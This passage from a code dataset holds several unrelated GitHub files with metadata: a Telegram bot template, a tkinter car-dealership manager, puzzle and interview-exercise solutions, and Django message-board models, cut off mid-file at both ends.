line.startswith(\"#\"):\n\t\t\t\t\t\t\tlogfilewriter.write(line)\n\t\t\t\t\tlogfilereader.close()\n\t\t\t\t\tlogfilewriter.close()\n","repo_name":"TravisFSmith/MyBroElk","sub_path":"broRun.py","file_name":"broRun.py","file_ext":"py","file_size_in_byte":501,"program_lang":"python","lang":"en","doc_type":"code","stars":56,"dataset":"github-code","pt":"62"} +{"seq_id":"32791446018","text":"from aiogram import Bot, types, executor, Dispatcher\r\n\r\nbot = Bot('YOUR TOKEN')\r\ndp = Dispatcher(bot)\r\n\r\n\r\n@dp.message_handler(commands=['start']) # Handler to the start command\r\nasync def start(message: types.Message): # asynchronous function\r\n await bot.send_message(message.chat.id, 'Your Message for command /START')\r\n\r\n@dp.message_handler(commands=['help']) # Handler to the help command\r\nasync def help(message: types.Message): # asynchronous function\r\n await bot.send_message(message.chat.id, 'Your Help message')\r\n\r\n\r\n# Here we do a check for the message you want, example : \r\n# if message == Hello: then the bot sends Hello\r\n@dp.message_handler(content_types=['text'])\r\nasync def anyonetext(message: types.Message): # asynchronous function\r\n if message.text == 'Hi':\r\n await bot.send_message(message.chat.id, 'Hello!')\r\n # elif\r\n # elif\r\n\r\nif __name__ == '__main__': # setup our bot\r\n executor.start_polling(dp, skip_updates=True ) # skip_updates = skip anyone message when bot are off","repo_name":"LiztochekCode/baseaiogrambot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1019,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"35346752340","text":"import os\nfrom datetime import datetime\n\nimport tkinter as tk\nfrom tkinter import ttk, messagebox, BOTH, Label, filedialog\nfrom tkcalendar import DateEntry\nfrom PIL import ImageTk, Image\n\n\nclass MainWindow:\n def __init__(self, root, database, current_user):\n self.root = root\n self.root.title(\"Главная страница\")\n self.root.protocol(\"WM_DELETE_WINDOW\", self.close_event)\n\n self.database = database\n self.current_user = current_user\n\n self.cars = []\n self.clients = []\n\n self.car_image = ''\n\n # Определение стилей\n self.root.configure(bg='white')\n\n # Текущий пользователь\n self.label_current_user = ttk.Label(self.root, text=f\"Пользователь: {self.current_user}\",\n background='white', font=('Arial', 10))\n self.label_current_user.pack(side=\"top\", padx=10, pady=5)\n\n # Создаем табличный ноутбук для вкладок\n self.notebook = ttk.Notebook(self.root)\n\n # Вкладка \"Автомобили\"\n self.tab_cars = ttk.Frame(self.notebook)\n self.notebook.add(self.tab_cars, text=\"Автомобили\")\n self.create_cars_tab()\n\n # Вкладка \"Клиенты\"\n self.tab_clients = ttk.Frame(self.notebook)\n self.notebook.add(self.tab_clients, text=\"Клиенты\")\n self.create_clients_tab()\n\n # Вкладка \"Заявки на просмотр\"\n self.tab_applications = ttk.Frame(self.notebook)\n self.notebook.add(self.tab_applications, text=\"Заявки на просмотр\")\n self.create_applications_tab()\n\n self.notebook.pack(fill=\"both\", expand=True)\n\n # Заполнение вкладок при открытии приложения\n self.refresh_cars_table()\n self.refresh_clients_table()\n self.refresh_applications_table()\n\n def close_event(self):\n self.root.destroy()\n exit()\n\n def create_cars_tab(self):\n self.tree_cars = ttk.Treeview(self.tab_cars, columns=(\"ID\", \"Brand\", \"Color\", \"Year\", \"Engine Volume\", \"Horsepower\", \"Transmission Type\"), show=\"headings\")\n self.tree_cars.heading(\"ID\", text=\"id\")\n self.tree_cars.heading(\"Brand\", text=\"Марка\")\n self.tree_cars.heading(\"Color\", text=\"Цвет\")\n self.tree_cars.heading(\"Year\", text=\"Год\")\n self.tree_cars.heading(\"Engine Volume\", text=\"Объем двигателя\")\n self.tree_cars.heading(\"Horsepower\", text=\"Лошадиные силы\")\n self.tree_cars.heading(\"Transmission Type\", text=\"Тип коробки\")\n\n self.tree_cars.pack(fill=BOTH, expand=True)\n\n btn_add_car = ttk.Button(self.tab_cars, text=\"Добавить\", command=self.add_car_window)\n btn_add_car.pack(side=\"left\")\n\n btn_delete_car = ttk.Button(self.tab_cars, text=\"Удалить\", command=self.delete_car)\n btn_delete_car.pack(side=\"right\")\n\n btn_edit_car = ttk.Button(self.tab_cars, text=\"Редактировать\", command=self.edit_car)\n btn_edit_car.pack(side=\"left\")\n\n def create_clients_tab(self):\n self.tree_clients = ttk.Treeview(self.tab_clients, columns=(\"ID\", \"Full Name\", \"Birth Year\", \"Gender\", \"Registration Date\"), show=\"headings\")\n self.tree_clients.heading(\"ID\", text=\"id\")\n self.tree_clients.heading(\"Full Name\", text=\"ФИО\")\n self.tree_clients.heading(\"Birth Year\", text=\"Год рождения\")\n self.tree_clients.heading(\"Gender\", text=\"Пол\")\n self.tree_clients.heading(\"Registration Date\", text=\"Дата регистрации\")\n\n self.tree_clients.pack(fill=BOTH, expand=True)\n\n btn_add_client = ttk.Button(self.tab_clients, text=\"Добавить\", command=self.add_client_window)\n btn_add_client.pack(side=\"left\")\n\n btn_delete_client = ttk.Button(self.tab_clients, text=\"Удалить\", command=self.delete_client)\n btn_delete_client.pack(side=\"right\")\n\n btn_edit_client = ttk.Button(self.tab_clients, text=\"Редактировать\", command=self.edit_client)\n btn_edit_client.pack(side=\"left\")\n\n def create_applications_tab(self):\n self.tree_applications = ttk.Treeview(self.tab_applications, columns=(\"ID\", \"Car\", \"Client\", \"Viewing Date\"), show=\"headings\")\n self.tree_applications.heading(\"ID\", text=\"id\")\n self.tree_applications.heading(\"Car\", text=\"Автомобиль\")\n self.tree_applications.heading(\"Client\", text=\"Клиент\")\n self.tree_applications.heading(\"Viewing Date\", text=\"Дата просмотра\")\n\n self.tree_applications.pack(fill=BOTH, expand=True)\n\n btn_add_application = ttk.Button(self.tab_applications, text=\"Добавить\", command=self.add_application_window)\n btn_add_application.pack(side=\"left\")\n\n btn_delete_application = ttk.Button(self.tab_applications, text=\"Удалить\", command=self.delete_application)\n btn_delete_application.pack(side=\"right\")\n\n btn_edit_application = ttk.Button(self.tab_applications, text=\"Редактировать\", command=self.edit_application)\n btn_edit_application.pack(side=\"left\")\n\n def add_car_window(self):\n add_car_window = tk.Toplevel(self.root)\n add_car_window.title(\"Добавить автомобиль\")\n\n # Создаем и размещаем элементы интерфейса для добавления автомобиля\n label_brand = ttk.Label(add_car_window, text=\"Марка:\")\n label_brand.pack()\n\n brand_entry = ttk.Entry(add_car_window)\n brand_entry.pack()\n\n label_color = ttk.Label(add_car_window, text=\"Цвет:\")\n label_color.pack()\n\n color_entry = ttk.Entry(add_car_window)\n color_entry.pack()\n\n label_year = ttk.Label(add_car_window, text=\"Год:\")\n label_year.pack()\n\n year_entry = ttk.Entry(add_car_window)\n year_entry.pack()\n\n label_engine_volume = ttk.Label(add_car_window, text=\"Объем двигателя:\")\n label_engine_volume.pack()\n\n engine_volume_entry = ttk.Entry(add_car_window)\n engine_volume_entry.pack()\n\n label_horsepower = ttk.Label(add_car_window, text=\"Лошадиные силы:\")\n label_horsepower.pack()\n\n horsepower_entry = ttk.Entry(add_car_window)\n horsepower_entry.pack()\n\n label_transmission_type = ttk.Label(add_car_window, text=\"Тип коробки:\")\n label_transmission_type.pack()\n\n transmission_type_entry = ttk.Entry(add_car_window)\n transmission_type_entry.pack()\n\n btn_add = ttk.Button(add_car_window, text=\"Добавить\", command=lambda: self.add_car(add_car_window, brand_entry.get(), color_entry.get(), year_entry.get(), engine_volume_entry.get(), horsepower_entry.get(), transmission_type_entry.get()))\n btn_add.pack()\n\n new_img_button = ttk.Button(add_car_window, text='Новое изображение',\n command=lambda: self.new_car_photo(add_car_window))\n new_img_button.pack()\n\n def new_car_photo(self, car_window):\n new_image_path = filedialog.askopenfilename(title='Изображение для авто')\n\n if new_image_path != '':\n self.car_image = self.convert_to_binary_data_car_img(new_image_path)\n\n widgets = car_window.winfo_children()\n for widget in widgets:\n if hasattr(widget, 'myId'):\n if widget.myId == 'car_image':\n widget.destroy()\n\n self.create_car_image(car_window)\n\n def convert_to_binary_data_car_img(self, filename):\n # Преобразование данных в двоичный формат\n with open(filename, 'rb') as file:\n blob_data = file.read()\n\n return blob_data\n\n def write_to_file_car_img(self):\n file_path = 'temp_img.jpg'\n\n # Преобразование двоичных данных в нужный формат\n with open(file_path, 'wb') as file:\n file.write(self.car_image)\n\n return file_path\n\n def delete_temp_img(self):\n temp_file = 'temp_img.jpg'\n\n if os.path.isfile(temp_file):\n os.remove(temp_file)\n\n def create_car_image(self, car_window):\n car_image_path = self.write_to_file_car_img()\n\n img = Image.open(car_image_path)\n img = img.resize((250, 250))\n img = ImageTk.PhotoImage(img)\n img_panel = Label(car_window, image=img)\n img_panel.image = img\n img_panel.myId = 'car_image'\n img_panel.pack()\n\n self.delete_temp_img()\n\n def add_car(self, add_car_window, brand, color, year, engine_volume, horsepower, transmission_type):\n self.database.add_car(brand, color, year, engine_volume, horsepower, transmission_type, self.car_image)\n add_car_window.destroy()\n # Обновляем отображение таблицы с автомобилями\n self.refresh_cars_table()\n\n def delete_car(self):\n selected_item = self.tree_cars.selection()\n\n if not selected_item:\n messagebox.showwarning(\"Предупреждение\", \"Выберите автомобиль для удаления.\")\n return\n\n car_id = self.tree_cars.item(selected_item, \"values\")[0]\n self.database.delete_car(car_id)\n self.refresh_cars_table()\n\n def edit_car(self):\n selected_item = self.tree_cars.selection()\n\n if not selected_item:\n messagebox.showwarning(\"Предупреждение\", \"Выберите автомобиль для редактирования.\")\n return\n\n car_id = self.tree_cars.item(selected_item, \"values\")[0]\n car_data = self.database.get_car(car_id)\n\n edit_car_window = tk.Toplevel(self.root)\n edit_car_window.title(\"Редактировать автомобиль\")\n\n label_brand = ttk.Label(edit_car_window, text=\"Марка:\")\n label_brand.pack()\n\n brand_entry = ttk.Entry(edit_car_window)\n brand_entry.insert(0, car_data[1])\n brand_entry.pack()\n\n label_color = ttk.Label(edit_car_window, text=\"Цвет:\")\n label_color.pack()\n\n color_entry = ttk.Entry(edit_car_window)\n color_entry.insert(1, car_data[2])\n color_entry.pack()\n\n label_year = ttk.Label(edit_car_window, text=\"Год:\")\n label_year.pack()\n\n year_entry = ttk.Entry(edit_car_window)\n year_entry.insert(2, car_data[3])\n year_entry.pack()\n\n label_engine_volume = ttk.Label(edit_car_window, text=\"Объем двигателя:\")\n label_engine_volume.pack()\n\n engine_volume_entry = ttk.Entry(edit_car_window)\n engine_volume_entry.insert(3, car_data[4])\n engine_volume_entry.pack()\n\n label_horsepower = ttk.Label(edit_car_window, text=\"Лошадиные силы:\")\n label_horsepower.pack()\n\n horsepower_entry = ttk.Entry(edit_car_window)\n horsepower_entry.insert(4, car_data[5])\n horsepower_entry.pack()\n\n label_transmission_type = ttk.Label(edit_car_window, text=\"Тип коробки:\")\n label_transmission_type.pack()\n\n transmission_type_entry = ttk.Entry(edit_car_window)\n transmission_type_entry.insert(5, car_data[6])\n transmission_type_entry.pack()\n\n btn_save = ttk.Button(edit_car_window, text=\"Сохранить\",\n command=lambda: self.save_edited_car(edit_car_window, car_id, brand_entry.get(),\n color_entry.get(), year_entry.get(),\n engine_volume_entry.get(), horsepower_entry.get(),\n transmission_type_entry.get()))\n btn_save.pack()\n\n new_img_button = ttk.Button(edit_car_window, text='Новое изображение',\n command=lambda: self.new_car_photo(edit_car_window))\n new_img_button.pack()\n\n self.car_image = car_data[7]\n self.create_car_image(edit_car_window)\n\n def save_edited_car(self, edit_car_window, car_id, brand, color, year, engine_volume, horsepower,\n transmission_type):\n self.database.edit_car(car_id, brand, color, year, engine_volume, horsepower, transmission_type, self.car_image)\n edit_car_window.destroy()\n self.refresh_cars_table()\n\n def refresh_cars_table(self):\n self.cars = self.database.get_cars()\n\n # Очищаем таблицу перед обновлением\n for row in self.tree_cars.get_children():\n self.tree_cars.delete(row)\n\n # Получаем данные из базы данных и добавляем их в таблицу\n cars = self.database.get_cars()\n for car in cars:\n self.tree_cars.insert(\"\", \"end\", values=car)\n\n def add_client_window(self):\n add_client_window = tk.Toplevel(self.root)\n add_client_window.title(\"Добавить клиента\")\n\n # Создаем и размещаем элементы интерфейса для добавления клиента\n label_full_name = ttk.Label(add_client_window, text=\"ФИО:\")\n label_full_name.pack()\n\n full_name_entry = ttk.Entry(add_client_window)\n full_name_entry.pack()\n\n label_birth_year = ttk.Label(add_client_window, text=\"Год рождения:\")\n label_birth_year.pack()\n\n birth_year_entry = DateEntry(add_client_window, selectmode='day')\n birth_year_entry.pack()\n\n label_gender = ttk.Label(add_client_window, text=\"Пол:\")\n label_gender.pack()\n\n gender_entry = ttk.Entry(add_client_window)\n gender_entry.pack()\n\n label_registration_date = ttk.Label(add_client_window, text=\"Дата регистрации:\")\n label_registration_date.pack()\n\n registration_date_entry = DateEntry(add_client_window, selectmode='day')\n registration_date_entry.pack()\n\n btn_add = ttk.Button(add_client_window, text=\"Добавить\", command=lambda: self.add_client(add_client_window, full_name_entry.get(), birth_year_entry.get_date(), gender_entry.get(), registration_date_entry.get_date()))\n btn_add.pack()\n\n def add_client(self, add_client_window, full_name, birth_year, gender, registration_date):\n self.database.add_client(full_name, birth_year, gender, registration_date)\n add_client_window.destroy()\n # Обновляем отображение таблицы с клиентами\n self.refresh_clients_table()\n\n def delete_client(self):\n selected_item = self.tree_clients.selection()\n\n if not selected_item:\n messagebox.showwarning(\"Предупреждение\", \"Выберите клиента для удаления.\")\n return\n\n client_id = self.tree_clients.item(selected_item, \"values\")[0]\n self.database.delete_client(client_id)\n self.refresh_clients_table()\n\n def edit_client(self):\n selected_item = self.tree_clients.selection()\n\n if not selected_item:\n messagebox.showwarning(\"Предупреждение\", \"Выберите клиента для редактирования.\")\n return\n\n client_id = self.tree_clients.item(selected_item, \"values\")[0]\n client_data = self.database.get_client(client_id)\n\n edit_client_window = tk.Toplevel(self.root)\n edit_client_window.title(\"Редактировать клиента\")\n\n label_full_name = ttk.Label(edit_client_window, text=\"ФИО:\")\n label_full_name.pack()\n\n full_name_entry = ttk.Entry(edit_client_window)\n full_name_entry.insert(0, client_data[1])\n full_name_entry.pack()\n\n label_birth_year = ttk.Label(edit_client_window, text=\"Год рождения:\")\n label_birth_year.pack()\n\n birth_year_entry = DateEntry(edit_client_window, selectmode='day')\n birth_year_entry.set_date(datetime.strptime(client_data[2], '%Y-%m-%d'))\n birth_year_entry.pack()\n\n label_gender = ttk.Label(edit_client_window, text=\"Пол:\")\n label_gender.pack()\n\n gender_entry = ttk.Entry(edit_client_window)\n gender_entry.insert(2, client_data[3])\n gender_entry.pack()\n\n label_registration_date = ttk.Label(edit_client_window, text=\"Дата регистрации:\")\n label_registration_date.pack()\n\n registration_date_entry = DateEntry(edit_client_window, selectmode='day')\n registration_date_entry.set_date(datetime.strptime(client_data[4], '%Y-%m-%d'))\n registration_date_entry.pack()\n\n btn_save = ttk.Button(edit_client_window, text=\"Сохранить\",\n command=lambda: self.save_edited_client(edit_client_window, client_id, full_name_entry.get(),\n birth_year_entry.get_date(), gender_entry.get(),\n registration_date_entry.get_date()))\n btn_save.pack()\n\n def save_edited_client(self, edit_client_window, client_id, full_name, birth_year, gender, registration_date):\n self.database.edit_client(client_id, full_name, birth_year, gender, registration_date)\n edit_client_window.destroy()\n self.refresh_clients_table()\n\n def refresh_clients_table(self):\n self.clients = self.database.get_clients()\n\n # Очищаем таблицу перед обновлением\n for row in self.tree_clients.get_children():\n self.tree_clients.delete(row)\n\n # Получаем данные из базы данных и добавляем их в таблицу\n clients = self.database.get_clients()\n for client in clients:\n self.tree_clients.insert(\"\", \"end\", values=client)\n\n def add_application_window(self):\n add_application_window = tk.Toplevel(self.root)\n add_application_window.title(\"Добавить заявку на просмотр\")\n\n # Создаем и размещаем элементы интерфейса для добавления заявки на просмотр\n label_car = ttk.Label(add_application_window, text=\"Автомобиль:\")\n label_car.pack()\n\n combo_car = ttk.Combobox(add_application_window, values=[car[1] for car in self.cars], state=\"readonly\")\n combo_car.pack()\n\n label_client = ttk.Label(add_application_window, text=\"Клиент:\")\n label_client.pack()\n\n combo_client = ttk.Combobox(add_application_window, values=[client[1] for client in self.clients],\n state=\"readonly\")\n combo_client.pack()\n\n label_viewing_date = ttk.Label(add_application_window, text=\"Дата просмотра:\")\n label_viewing_date.pack()\n\n viewing_date_entry = DateEntry(add_application_window, selectmode='day')\n viewing_date_entry.pack()\n\n btn_add = ttk.Button(add_application_window, text=\"Добавить\", command=lambda: self.add_application(add_application_window, self.get_car_id_by_name(combo_car.get()), self.get_client_id_by_name(combo_client.get()), viewing_date_entry.get_date()))\n btn_add.pack()\n\n def get_car_id_by_name(self, car_name):\n for car in self.cars:\n if car[1] == car_name:\n return car[0]\n\n def get_client_id_by_name(self, client_name):\n for client in self.clients:\n if client[1] == client_name:\n return client[0]\n\n def add_application(self, add_application_window, car_id, client_id, viewing_date):\n self.database.add_application(car_id, client_id, viewing_date)\n add_application_window.destroy()\n # Обновляем отображение таблицы с заявками на просмотр\n self.refresh_applications_table()\n\n def delete_application(self):\n selected_item = self.tree_applications.selection()\n\n if not selected_item:\n messagebox.showwarning(\"Предупреждение\", \"Выберите заявку на просмотр для удаления.\")\n return\n\n application_id = self.tree_applications.item(selected_item, \"values\")[0]\n self.database.delete_application(application_id)\n self.refresh_applications_table()\n\n def edit_application(self):\n selected_item = self.tree_applications.selection()\n\n if not selected_item:\n messagebox.showwarning(\"Предупреждение\", \"Выберите заявку для редактирования.\")\n return\n\n application_id = self.tree_applications.item(selected_item, \"values\")[0]\n application_data = self.database.get_application(application_id)\n\n edit_application_window = tk.Toplevel(self.root)\n edit_application_window.title(\"Редактировать заявку\")\n\n label_car = ttk.Label(edit_application_window, text=\"Автомобиль:\")\n label_car.pack()\n\n car_values = [car[1] for car in self.cars]\n combo_car = ttk.Combobox(edit_application_window, values=car_values, state=\"readonly\")\n combo_car.pack()\n combo_car.current(self.get_car_index_by_id(car_values, application_data[1]))\n\n label_client = ttk.Label(edit_application_window, text=\"Клиент:\")\n label_client.pack()\n\n client_values = [client[1] for client in self.clients]\n combo_client = ttk.Combobox(edit_application_window, values=client_values,\n state=\"readonly\")\n combo_client.pack()\n combo_client.current(self.get_client_index_by_id(client_values, application_data[2]))\n\n label_viewing_date = ttk.Label(edit_application_window, text=\"Дата просмотра:\")\n label_viewing_date.pack()\n\n viewing_date_entry = DateEntry(edit_application_window, selectmode='day')\n viewing_date_entry.set_date(datetime.strptime(application_data[3], '%Y-%m-%d'))\n viewing_date_entry.pack()\n\n btn_save = ttk.Button(edit_application_window, text=\"Сохранить\",\n command=lambda: self.save_edited_application(edit_application_window, application_id, self.get_car_id_by_name(combo_car.get()), self.get_client_id_by_name(combo_client.get()), viewing_date_entry.get_date()))\n btn_save.pack()\n\n def get_car_index_by_id(self, car_values, car_id):\n for car in car_values:\n if car == self.database.get_car_name_by_id(car_id):\n return car_values.index(car)\n\n def get_client_index_by_id(self, client_values, client_id):\n for client in client_values:\n if client == self.database.get_client_name_by_id(client_id):\n return client_values.index(client)\n\n def save_edited_application(self, edit_application_window, application_id, car_id, client_id, viewing_date):\n self.database.edit_application(application_id, car_id, client_id, viewing_date)\n edit_application_window.destroy()\n self.refresh_applications_table()\n\n def refresh_applications_table(self):\n # Очищаем таблицу перед обновлением\n for row in self.tree_applications.get_children():\n self.tree_applications.delete(row)\n\n # Получаем данные из базы данных и добавляем их в таблицу\n applications = self.database.get_applications()\n for application in applications:\n self.tree_applications.insert(\"\", \"end\", values=application)\n","repo_name":"Gayfut/arm_auto","sub_path":"main_window.py","file_name":"main_window.py","file_ext":"py","file_size_in_byte":24144,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"29034113040","text":"# 16.8 English int: Given any integer, print an English phrase that describes the integer\n# (e.g., \"One Thousand, Two Hundred Thirty Four\").\n\nimport pdb\n\nunit_map = { \\\n\t1: \"One\", \\\n\t2: \"Two\", \\\n\t3: \"Three\", \\\n\t4: \"Four\", \\\n\t5: \"Five\", \\\n\t6: \"Six\", \\\n\t7: \"Seven\", \\\n\t8: \"Eight\", \\\n\t9: \"Nine\", \\\n}\n\nten_unit_map = { \\\n\t2: \"Twenty\", \\\n\t3: \"Thirty\", \\\n\t4: \"Forty\", \\\n\t5: \"Fifty\", \\\n\t6: \"Sixty\", \\\n\t7: \"Seventy\", \\\n\t8: \"Eighty\", \\\n\t9: \"Ninety\", \\\n\t10: \"Ten\", \\\n\t11: \"Eleven\", \\\n\t12: \"Twelve\", \\\n\t13: \"Thirteen\", \\\n\t14: \"Fourteen\", \\\n\t15: \"Fifteen\", \\\n\t16: \"Sixteen\", \\\n\t17: \"Seventeen\", \\\n\t18: \"Eighteen\", \\\n\t19: \"Nineteen\" \\\n}\n\nthousand_unit_map = { \\\n\t0: \"\", \\\n\t1: \" Thousand\", \\\n\t2: \" Million\", \\\n\t3: \" Billion\", \\\n\t4: \" Trillion\" \\\n}\n\ndef english_int(n):\n\t\"\"\"\n\t>>> english_int(12345)\n\t'Twelve Thousand, Three Hundred Forty Five'\n\t>>> english_int(1242359034)\n\t'One Billion, Two Hundred Forty Two Million, Three Hundred Fifty Nine Thousand, Thirty Four'\n\t>>> english_int(0)\n\t''\n\t\"\"\"\n\t# arr stores all the thousand result\n\tarr = []\n\tindex = 0\n\twhile n > 0:\n\t\tthousand_part = n % 1000\n\t\tresult = thousand_english_int(thousand_part, index)\n\t\tif len(result) > 0:\n\t\t\tarr.append(result)\n\t\tindex += 1\n\t\tn = n // 1000\n\n\treturn \", \".join(reversed(arr))\n\n\ndef thousand_english_int(n, index):\n\t\"\"\" deal with an int less than 1,000\n\t\"\"\"\n\thundred = n // 100\n\tten = (n - 100 * hundred) // 10\n\tunit = (n - 100 * hundred) % 10\n\tresult = []\n\n\t# pdb.set_trace()\n\n\t# has hundred\n\tif hundred > 0:\n\t\tresult.append(unit_map[hundred] + \" Hundred\")\n\n\t# has ten\n\tif ten > 0:\n\t\tif ten == 1:\n\t\t\tresult.append(ten_unit_map[ten * 10 + unit])\n\t\telse:\n\t\t\tresult.append(ten_unit_map[ten])\n\t\t\tif unit > 0:\n\t\t\t\tresult.append(unit_map[unit])\n\t# does not have ten\n\telse:\n\t\tif unit > 0:\n\t\t\tresult.append(unit_map[unit])\n\n\tif len(result) > 0:\n\t\treturn \" \".join(result) + thousand_unit_map[index]\n\telse:\n\t\treturn \"\"\n\n\n\nif __name__ == \"__main__\":\n\timport doctest\n\tdoctest.testmod()","repo_name":"yuanxu-li/careercup","sub_path":"chapter16-moderate/16.8.py","file_name":"16.8.py","file_ext":"py","file_size_in_byte":1939,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"6205215623","text":"#####--------------I'm Melting---------####\n####PART 1##########################################\n#########------Import data----------------####\nfrom collections import defaultdict\nwith open(\"adv_test_input.txt\", \"r\", encoding=\"utf-8\") as f:\n lines = f.readlines()\noctopi = []\nfor line in lines:\n row = []\n for number in line.strip():\n number = int(number)\n row.append(number)\n octopi.append(row)\n\ndef flashes(coord, energy):\n x = coord[0]\n y = coord[1] \n if (x+1, y) in energy.keys():\n energy[(x+1, y)] +=1\n if (x-1, y) in energy.keys():\n energy[(x - 1, y)] += 1\n if (x, y+1) in energy.keys():\n energy[(x, y + 1)] +=1\n if (x, y-1) in energy.keys(): \n energy[(x, y-1)] +=1\n if (x+1, y - 1) in energy.keys(): \n energy[(x + 1, y - 1)] += 1\n if (x+1, y+1) in energy.keys():\n energy[(x+1, y+1)]+=1\n if (x -1, y-1) in energy.keys():\n energy[(x -1, y-1)]+=1\n if (x - 1, y + 1) in energy.keys():\n energy[(x - 1, y + 1)] +=1\n return energy\ndef incr_energy(octo, incremented_row = None):\n if not incremented_row:\n incremented_row = []\n if not octo:\n return incremented_row\n else:\n inc = octo[0]\n if inc == 9:\n inc = 9\n else:\n inc += 1\n incremented_row.append(inc)\n return incr_energy(octo[1:], incremented_row[:])\ndef traverse_row(octopi, new_octopi = None):\n if not new_octopi:\n new_octopi = []\n if not octopi:\n return new_octopi\n else:\n row = octopi[0]\n new_energy = incr_energy(row)\n new_octopi.append(new_energy)\n return traverse_row(octopi[1:], new_octopi[:])\ndef scan_octopus_energy(octopi):\n energy_levels = {}\n for y in range(len(octopi)):\n for x in range(len(octopi[y])):\n energy_levels[(x, y)] = octopi[y][x]\n return energy_levels\n\n#needs a rewrite\ndef new_flashes(energy, flashed = []):\n flashing_octopi = []\n for coord in energy.keys() :\n if energy[coord] >= 9 and coord not in flashed:\n flashing_octopi.append(coord)\n return flashing_octopi\n\n\nenergy = scan_octopus_energy(octopi)\nprint(energy)\nflashing_oct = []\nn = 10\ni = 1\nflash_count = 0\nloop_flash = False\nwhile i <= n:\n print(\"\\n\")\n flashed = []\n for coord in energy.keys():\n if energy[coord] >= 9:\n flashing_oct.append(coord)\n energy[coord] = 0\n else: energy[coord] += 1\n print(\"Flashes: \", flashing_oct)\n print(len(flashing_oct))\n flash_count+= len(flashing_oct)\n if len(flashing_oct) > 0: loop_flash = True\n while loop_flash:\n for octo in flashing_oct:\n energy[octo] = 0\n flashed.append(octo)\n energy = flashes(octo, energy)\n flashing_oct = []\n new_flash = new_flashes(energy, flashed)\n for octo in new_flash:\n flashing_oct.append(octo)\n #flash_count += len(flashing_oct)\n if flashing_oct == []: loop_flash = False\n print(\"energy: \", energy)\n print(\"\\n\")\n print(energy)\n i+=1\n print(\"next turn:\", i)\n print(\"\\n\")\n print(\"Flashes: \", flash_count)\nfor k, v in energy.items():\n print(k, v)\nprint(flash_count)\n \n\n\n \n \n \n\n\n\n \n ","repo_name":"joe-granick/Advent-of-Code","sub_path":"2021/Day 11/11.1.py","file_name":"11.1.py","file_ext":"py","file_size_in_byte":3303,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"36091443793","text":"# https://leetcode.com/problems/find-all-people-with-secret/\n\n\n\nclass Solution:\n def findAllPeople(self, n: int, meetings: List[List[int]], firstPerson: int) -> List[int]:\n g = defaultdict(list)\n\n for meeting in meetings:\n g[meeting[0]].append((meeting[2], meeting[1]))\n g[meeting[1]].append((meeting[2], meeting[0]))\n # print(g)\n \n heap = []\n heappush(heap, (0, 0)) # zero has a connection with zero in the begining\n heappush(heap, (0, firstPerson)) # the same with the firstPerson\n visited = set()\n \n while len(heap):\n curr = heappop(heap)\n \n if curr[1] in visited:\n continue\n \n visited.add(curr[1])\n \n for edge in g[curr[1]]:\n \n if edge[1] in visited:\n continue\n \n if edge[0] >= curr[0]:\n heappush(heap, edge)\n \n return [node for node in visited]\n \n","repo_name":"hello-world-was-taken/A2SV_Competetive_Programming","sub_path":"week_16/find-all-people-with-secret.py","file_name":"find-all-people-with-secret.py","file_ext":"py","file_size_in_byte":1082,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"62"} +{"seq_id":"22768075459","text":"from django.db import models\nfrom django.conf import settings\nfrom evennia.typeclasses.models import TypedObject\nfrom athanor.utils import utcnow\nfrom .managers import BoardDBManager, CollectionDBManager, PostManager\n\n\nclass BoardCollectionDB(TypedObject):\n objects = CollectionDBManager()\n\n __settingsclasspath__ = settings.BASE_BOARD_COLLECTION_TYPECLASS\n __defaultclasspath__ = \"athanor_boards.boards.DefaultBoardCollection\"\n __applabel__ = \"athanor_boards\"\n\n db_key = models.CharField(max_length=255, unique=True, null=False, blank=True)\n db_abbreviation = models.CharField(\n max_length=30, null=False, blank=True, unique=True\n )\n db_config = models.JSONField(null=False, default=dict)\n\n db_deleted = models.BooleanField(default=False)\n\n\nclass BoardDB(TypedObject):\n objects = BoardDBManager()\n\n # defaults\n __settingsclasspath__ = settings.BASE_BOARD_TYPECLASS\n __defaultclasspath__ = \"athanor_boards.boards.DefaultBoard\"\n __applabel__ = \"athanor_boards\"\n\n db_collection = models.ForeignKey(\n BoardCollectionDB, on_delete=models.PROTECT, related_name=\"boards\"\n )\n db_order = models.IntegerField(default=1, null=False)\n\n db_config = models.JSONField(null=False, default=dict)\n db_next_post_number = models.IntegerField(default=1, null=False)\n db_last_activity = models.DateTimeField(null=False, default=utcnow)\n\n db_deleted = models.BooleanField(default=False)\n\n class Meta:\n unique_together = ((\"db_collection\", \"db_key\"), (\"db_collection\", \"db_order\"))\n ordering = [\"-db_collection\", \"db_order\"]\n\n\nclass Post(models.Model):\n objects = PostManager()\n\n board = models.ForeignKey(BoardDB, on_delete=models.CASCADE, related_name=\"posts\")\n user = models.ForeignKey(\"accounts.AccountDB\", on_delete=models.PROTECT)\n character = models.ForeignKey(\n \"objects.ObjectDB\", null=True, on_delete=models.PROTECT\n )\n disguise = models.CharField(max_length=255, null=True, blank=True)\n number = models.IntegerField(null=False)\n reply_number = models.IntegerField(null=False, default=0)\n\n subject = models.CharField(max_length=255, null=False)\n\n date_created = models.DateTimeField(null=False, default=utcnow)\n date_modified = models.DateTimeField(null=False, default=utcnow)\n\n body = models.TextField(null=False)\n\n read = models.ManyToManyField(\"accounts.AccountDB\", related_name=\"read_posts\")\n\n deleted = models.BooleanField(default=False)\n\n class Meta:\n unique_together = ((\"board\", \"number\", \"reply_number\"),)\n ordering = [\"board\", \"number\", \"reply_number\"]\n\n def post_number(self):\n if self.reply_number == 0:\n return str(self.number)\n return f\"{self.number}.{self.reply_number}\"\n\n def render_author(self, user, character=None, known_admin: bool = None):\n if known_admin is None:\n admin = (\n (self.user == user)\n or (character and (self.character == character))\n or self.board.access(user, \"admin\")\n )\n else:\n admin = known_admin\n poster = self.character or self.user\n if self.board.options.get(\"disguise\"):\n return f\"{self.disguise} ({poster.key})\" if admin else self.disguise\n elif self.board.options.get(\"character\"):\n return f\"{self.character.key}\"\n else:\n return self.user.key\n\n def serialize(self, user, character=None):\n data = {\n \"id\": self.id,\n \"post_number\": self.post_number(),\n \"board_id\": self.board.board_label,\n \"board_name\": 